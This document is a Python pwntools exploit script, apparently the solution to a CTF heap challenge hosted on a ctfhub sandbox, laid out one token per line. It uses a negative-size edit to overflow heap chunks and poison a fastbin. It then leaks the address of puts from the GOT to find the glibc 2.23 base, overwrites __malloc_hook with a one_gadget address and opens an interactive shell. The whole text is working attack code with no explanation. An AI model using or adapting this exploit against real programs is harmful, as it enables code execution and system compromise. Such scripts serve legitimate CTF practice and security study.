from
pwn
import
*
prog
=
"./pwn"
local
=
False
context(os
=
'linux'
, arch
=
'amd64'
, log_level
=
'debug'
)
elf
=
ELF(
"./pwn"
)
libc
=
ELF(
"./libc-2.23.so"
)
if
local:
p
=
process(prog)
libc
=
ELF(
"/root/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6"
)
sleep(
1
)
else
:
p
=
remote(
"challenge-9647de804cb6da45.sandbox.ctfhub.com"
,
34306
)
def
add():
p.sendlineafter(
">> "
,
"1"
)
def
show(index):
p.sendlineafter(
">> "
,
"3"
)
p.sendlineafter(
"Index:\n"
,
str
(index))
def
dele(index):
p.sendlineafter(
">> "
,
"2"
)
p.sendlineafter(
"Index:\n"
,
str
(index))
def
edit(index,content):
p.sendlineafter(
">> "
,
"4"
)
p.sendlineafter(
"Index:\n"
,
str
(index))
p.sendlineafter(
"Size:\n"
,
"-1"
)
p.sendafter(
"Content:\n"
,content)
add()
add()
add()
dele(
2
)
dele(
1
)
payload
=
b
"\x99"
*
0x60
payload
+
=
b
"\x11"
*
8
payload
+
=
p64(
0x71
)
payload
+
=
p64(
0x60209d
)
edit(
0
,payload)
add()
add()
payload
=
b
"\x66"
*
0x13
payload
+
=
p64(elf.got[
'puts'
])
edit(
2
,payload)
show(
0
)
putsAddress
=
u64(p.recvuntil(
"\x7f"
)[
-
6
:].ljust(
8
,b
"\x00"
))
print
(
"putsAddress ===========> {}"
.
format
(
hex
(putsAddress)))
libcBase
=
putsAddress
-
libc.sym[
'puts'
]
mallocHook
=
libcBase
+
libc.sym[
'__malloc_hook'
]
payload
=
b
"\x66"
*
0x13
payload
+
=
p64(mallocHook)
edit(
2
,payload)
oneGadget
=
0x45226
+
libcBase
edit(
0
,p64(oneGadget))
add()
p.interactive()
p.close()